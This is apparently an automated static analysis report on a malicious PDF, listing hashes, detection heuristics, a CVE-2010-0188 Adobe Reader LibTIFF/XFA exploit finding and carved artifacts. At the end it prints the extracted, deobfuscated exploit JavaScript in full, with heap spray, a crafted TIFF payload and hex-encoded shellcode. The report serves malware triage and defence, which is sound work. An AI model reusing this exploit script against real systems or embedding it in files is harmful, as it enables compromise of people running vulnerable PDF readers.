Malicious PDF — malware analysis report

Static analysis result for SHA-256 b13ce075496b1804…

MALICIOUS

PDF

12.0 KB First seen: 2012-10-22
MD5: 3f00da6390285553ce695eefe2618923 SHA-1: 663a7b8895b10b4c593e018d6d7d042076137714 SHA-256: b13ce075496b1804d1887ec9ef081547bbe9a69ce301c46a12546b1f2701ebba
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains an embedded script payload, indicated by the PDF_EMBEDDED_SCRIPT_PAYLOAD heuristic. The document body contains JavaScript-like syntax, suggesting an attempt to execute malicious code. The embedded file and XFA form heuristics further support the likelihood of an exploit. The primary attack pattern involves leveraging a PDF vulnerability to run an embedded script, likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA numeric JavaScript stager high PDF_XFA_NUMERIC_JS_STAGER
    PDF XFA script reconstructs a hidden JavaScript stage from numeric field data or a character table, then evals the result. The decoder is gated on XFA script, numeric staging, and recovered exploit-like JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0xC6 11611 bytes
SHA-256: c5e3c1f93055f35190cb9c6208d37cf9e9896551489e14fc79dadf2f301eee40
xfa_numeric_stage_000.js deobfuscated-js XFA caret-number decoded JavaScript (raw) at offset 0x4C0 3422 bytes
SHA-256: 9c5a3ccc33328239d9923a5e252b3915910f0096904c1e15d769af349488d199
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var _1l=[];function _2l(){var _3l=app.viewerVersion.toString();_3l=_3l.replace('.','');while(_3l.length<4){_3l+='0';}_3l=parseInt(_3l,10);return _3l;}function _4l(_5l,_6l){while(_5l.length*2<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l/2);return _5l;}function _7l(_8l){_8l=unescape(_8l);var _9l=_8l.length*2;var _1l0=unescape('%u9090');var _1l1=_4l(_1l0,0x2000-_9l);var _1l2=_8l+_1l1;_1l2=_4l(_1l2,0x80000-0x40);for(var _0=0;_0<0x190;_0++){_1l[_0]=_1l2.substr(0,_1l2.length-1)+_1l0;}return;}function _1l3(_5l,_6l){while(_5l.length<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l);return _5l;}function _1l4(_1l5){var _5l=_1l5.toString(16);var _6l=_5l.length;var _1l6=(_6l%2)?'0'+_5l:_5l;return _1l6;}function _1l7(_5l){var _1l6='';for(var _0=0;_0<_5l.length;_0+=2){_1l6+='%u';_1l6+=_1l4(_5l.charCodeAt(_0+1));_1l6+=_1l4(_5l.charCodeAt(_0));}return _1l6;}function _1l8(_1l9){var _1l6 ='';for(var _0=0;_0<_1l9.length;_0+=2){var _2l7=_1l9.substr(_0,2);var _1l5=parseInt(_2l7,16);_1l6+=String.fromCharCode(_1l5);}return _1l6;}_2l0();function _2l0(){var _3l=_2l();if(_3l>=0x1f40){var _2l1='SUkqADggAABB';var _2l2=_1l3('QUFB',0x2ae8);var _2l3='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';var _2l4='';var _2l5='';if(_3l<0x2009){_2l4='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_2l5='4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac3448aae2fac3e8e5ffffffa14449484816c9a414494848c1afc50758c5271c79931f191b1b1b1b1b1b1b1d1b1b204c4948481d1e1b2027264848203d3a24251c20c60646a4a00048484818a034484848b798cb8c402007a7074d18a024484848b798cd883d5f221c11bbe2203ab6fb5ea05548484818a019484848b7981b22b620c12749f5a04048484818a074484848b7982879882cc31878c31a44c31a5cc33a60f15048484879b77988e47429344a6468898745498faab8c9b713f40222c30a58c35a3d91c10c6c54298b28c3246c6cc30d74c31c4d3049a2c30250c3126849a3ab7c01c37cc349a679b77988b4e4cc883c4f898745498fa3bc73346c603da9c3126c49a32ec34403c3125449a3c34cc349a0c10c6c54298a4048a0a7b6b7b7203c3c3872676771796679717c667a797c667f7d672c262f78707978797967797b7d7b7d7d7f7d787b2d297a792a71787c797d29292d7c2e78712c7a2d2e7a672c797966382038772e75242a2e4890';}else{_2l4='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_2l5='4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac345daae2fac3e8e5ffffffb4515c5d5d03dcb1015c5d5dd4bad0124dd032096c860a0c0e0e0e0e0e0e0e080e0e35595c5d5d080b0e3532335d5d35282f31300935d31353b1b5155d5d5d0db5215d5d5da28dde99553512b212580db5315d5d5da28dd89d284a370904aef7352fa3ee4bb5405d5d5d0db50c5d5d5da28d0e37a335d4325ce0b5555d5d5d0db5615d5d5da28d3d6c9d39d60d6dd60f51d60f49d62f75e4455d5d5d6ca26c9df1613c215f717d9c92505c9abfaddca206e11737d61f4dd64f2884d41979413c9e3dd6317979d61861d60958255cb7d61745d6077d5cb6be6914d669d65cb36ca26c9da1f1d99d295a9c92505c9ab6a96621797528bcd607795cb63bd65116d607415cb6d659d65cb5d41979413c9f555db5b2a3a2a23529292d677272646c736c6469736f6c69736a687239333a6d656c6d6c6c726c6e686e68686a686d6e383c6f6c3f646d696c683c3c38693b6d64396f383b6f72396c6c732d352d623b60313f3b5d90';}if(_2l4.length){var _1l6=[_2l1,_2l2,_2l3,_2l4].join('');var _2l6=_1l8(_2l5);var _8l=_1l7(_2l6);_7l(_8l);fromCh.rawValue=_1l6;}}}

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